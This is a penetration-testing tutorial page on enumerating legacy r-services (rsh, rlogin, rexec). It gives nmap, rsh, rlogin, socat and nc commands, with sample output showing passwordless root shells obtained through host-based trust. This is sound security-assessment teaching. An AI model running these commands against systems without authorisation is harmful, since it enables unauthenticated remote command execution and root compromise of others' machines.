Skip to content
HackIndex logo

HackIndex

rsh and rlogin Access Enumeration

4 min read Mar 30, 2026

R-services are a family of legacy remote access protocols that predate SSH. rsh (port 514) executes commands, rlogin (port 513) provides an interactive shell, and rexec (port 512) executes commands with explicit credentials. Their security model relies on host-based trust — a .rhosts or hosts.equiv file on the server controls which hosts and users are trusted to connect without a password. Any open r-service port on a modern system is a misconfiguration finding. Confirmed trust-based access is a critical finding — it means unauthenticated remote command execution.

Confirm Which Services Are Exposed

┌──(kali㉿kali)-[~]
└─$ nmap -sV -p 512,513,514 $TARGET_IP 
512/tcp open  exec    netkit-rsh rexecd
513/tcp open  login   OpenBSD or Solaris rlogind
514/tcp open  shell   Netkit rshd
Explain command
-sV Probe open ports to determine service and version info.
-p 512,513,514 Scan only ports 512 (exec), 513 (login), and 514 (shell/rsh).
$TARGET_IP Placeholder for the target host IP address.

Port 514 is rsh (shell), port 513 is rlogin (login), port 512 is rexec (exec). Any of these open on a non-legacy system is immediately suspicious — they have no business being enabled on anything post-2000.

rsh — Trust-Based Command Execution Check

rsh sends the local username as the client identity. The daemon checks .rhosts and hosts.equiv to decide whether to trust it. Run with sudo so the client uses a privileged source port, which is required by most rsh daemons:

┌──(kali㉿kali)-[~]
└─$ sudo rsh -l root $TARGET_IP id 
uid=0(root) gid=0(root) groups=0(root)
Explain command
-l root Specifies the remote username to log in as (root).
$TARGET_IP Placeholder for the target host's IP address.
id Remote command to execute, returns user identity info.
┌──(kali㉿kali)-[~]
└─$ sudo rsh -l $USER $TARGET_IP id 
uid=1000(user) gid=1000(user) groups=1000(user)
Explain command
-l $USER Specifies the remote username to authenticate as on the target host.
$TARGET_IP Placeholder for the target host's IP address.
id Remote command executed on the target to display user identity info.

Command output without a password prompt confirms trust-based rsh access. The username in the response tells you which account you have. Try root first, then common usernames. A Permission denied response means the account is not in the trust file. An immediate disconnect without any error message usually means the source port enforcement failed — run with sudo.

rlogin — Interactive Shell Check

rlogin is the interactive equivalent. A shell landing without a password prompt is a direct critical finding:

┌──(kali㉿kali)-[~]
└─$ sudo rlogin -l root $TARGET_IP 
Last login: Mon Mar 28 12:00:00 2026
root@target:~#
Explain command
-l root Specifies the remote username to log in as (root).
$TARGET_IP Placeholder for the target host's IP address.
┌──(kali㉿kali)-[~]
└─$ sudo rlogin -l $USER $TARGET_IP
Explain command
-l $USER Specifies the remote username to log in as on the target host.
$TARGET_IP Placeholder for the IP address of the remote host to connect to.

A shell prompt without a password means trust-based authentication succeeded. If prompted for a password, authentication is required — return here with credentials found elsewhere. Note whether different usernames produce different behaviors, as this reveals which accounts exist in the trust configuration.

Force Privileged Source Port with socat

When rsh or rlogin clients are unavailable, simulate the privileged source port requirement manually:

┌──(kali㉿kali)-[~]
└─$ sudo socat - TCP:$TARGET_IP:514,sourceport=1023
Explain command
- Use stdio (stdin/stdout) as one end of the relay.
TCP:$TARGET_IP:514 Connect via TCP to target IP on port 514 (syslog).
sourceport=1023 Bind the local source port to 1023 for the connection.
┌──(kali㉿kali)-[~]
└─$ sudo socat - TCP:$TARGET_IP:513,sourceport=1023
Explain command
- Use stdio (stdin/stdout) as one end of the relay.
TCP:$TARGET_IP:513 Connect via TCP to target IP on port 513 (rlogin).
sourceport=1023 Bind the local source port to 1023 for the connection.

Different behavior with a privileged source port versus a non-privileged one confirms the daemon enforces the classic trust model. Install the r-services client package if not present:

┌──(kali㉿kali)-[~]
└─$ apt-get install -y rsh-client 2>/dev/null || apt-get install -y rsh-redone-client 2>/dev/null

rexec — Credential-Based Check

rexec (port 512) uses explicit username and password rather than host trust. Confirm the port is listening and test with any credentials found from other sources:

┌──(kali㉿kali)-[~]
└─$ nc -nv $TARGET_IP 512 
Connection to 10.10.10.50 512 port [tcp/exec] succeeded!
Explain command
-n Skip DNS resolution, use numeric IP addresses only.
-v Enable verbose output to show connection details.
$TARGET_IP Placeholder for the target host's IP address.
512 Target port number to connect to.

A successful connection to port 512 confirms rexec is running. The rexec protocol expects a null-separated username, password, and command. Return here once credentials are available from other enumeration. Move to trust misconfiguration assessment to understand the .rhosts and hosts.equiv configuration, and to r-services exploitation for shell access.

References